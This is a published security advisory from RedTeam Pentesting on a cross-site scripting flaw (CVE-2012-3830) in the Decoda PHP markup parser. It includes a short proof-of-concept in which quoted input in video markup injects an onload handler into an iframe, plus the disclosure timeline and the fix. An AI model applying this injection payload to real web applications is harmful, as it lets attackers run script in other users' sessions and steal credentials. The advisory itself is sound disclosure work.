skip to navigation. Skip to the content.
> Advisories > rt-sa-2012-002 vertical divider

php-decoda: Cross-Site Scripting in Video Tags

RedTeam Pentesting discovered a cross-site scripting (XSS) vulnerability
in the PHP markup parser Decoda. This allows attackers that should be
restricted to the markup supported by Decoda to specify a JavaScript
event handler for an iframe tag. Depending on the usage of Decoda, this
allows attackers to execute JavaScript code in the context of other
users in a web application that uses Decoda.


Product: php-decoda
Affected Versions: 3.x
Fixed Versions: 3.3.3
Vulnerability Type: Cross-Site Scripting
Security Risk: High
Vendor URL:
Vendor Status: fixed version released
Advisory URL:
Advisory Status: published
CVE: 2012-3830


Decoda is a lightweight class that extracts and parses a custom markup
language; based on the concept of BB code. Decoda supports all the basic
HTML tags and manages special features for making links and emails
auto-clickable, using shorthand emails and links, and finally allowing
the user to add their own code tags.

(from Decoda's homepage)

More Details

Decoda supports a directive for videos. For example the Decoda markup

[video="youtube" size="small"]test[/video]

creates the following corresponding HTML code (whitespace adjusted):

<iframe src="" width="560" height="315"

The code to generate the iframe tag can be found in the following file:


There, the HTML tag is generated as follows:

<?php if ($player == 'embed') { ?>
        <embed src="<?php echo $url; ?>"
                width="<?php echo $width; ?>"
                height="<?php echo $height; ?>"></embed>

<?php } else { ?>
        <iframe src="<?php echo $url; ?>"
                width="<?php echo $width; ?>"
                height="<?php echo $height; ?>"

<?php } ?>

The variable $url contains the user input provided in the video markup
prefixed by the URL to YouTube. Since quotation signs provided by a user
are not properly encoded, an attacker can use this to specify a
JavaScript event handler that is executed when the resulting HTML
document is loaded.

Proof of Concept

The following PHP script can be used to demonstrate this vulnerability:

include '../decoda/Decoda.php';
$code = new Decoda();
$code->addFilter(new VideoFilter()); ?>

$decoda_markup = '[video="youtube" size="small"]"';
$decoda_markup .= 'onload="alert(\'RedTeam Pentesting XSS\');" id="[/video]';

echo $code->parse();

This results in the following output (whitespace adjusted):

<iframe src="" onload="alert('RedTeam
Pentesting XSS');" id="" width="560" height="315"


Disabling support for the video markup by not adding the corresponding
filter might close this attack vector depending on the usage of Decoda.


Update to at least version 3.3.3.

Security Risk

The risk of the described vulnerability is considered to be high. It
might be lower depending on the use case of Decoda in a web application.
In case it is used in an web forum to allow formatting of postings, it
can be used by attackers to completely manipulate the web page showing
the respective posting by adding arbitrary content, tracking user
interaction and potentially obtaining credentials from other users.


2012-03-26 Vulnerability identified
2012-04-25 Customer approved disclosure to vendor
2012-04-26 First attempt to contact vendor
2012-04-30 Vendor notified
2012-05-01 Vendor released fixed version
2012-05-02 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at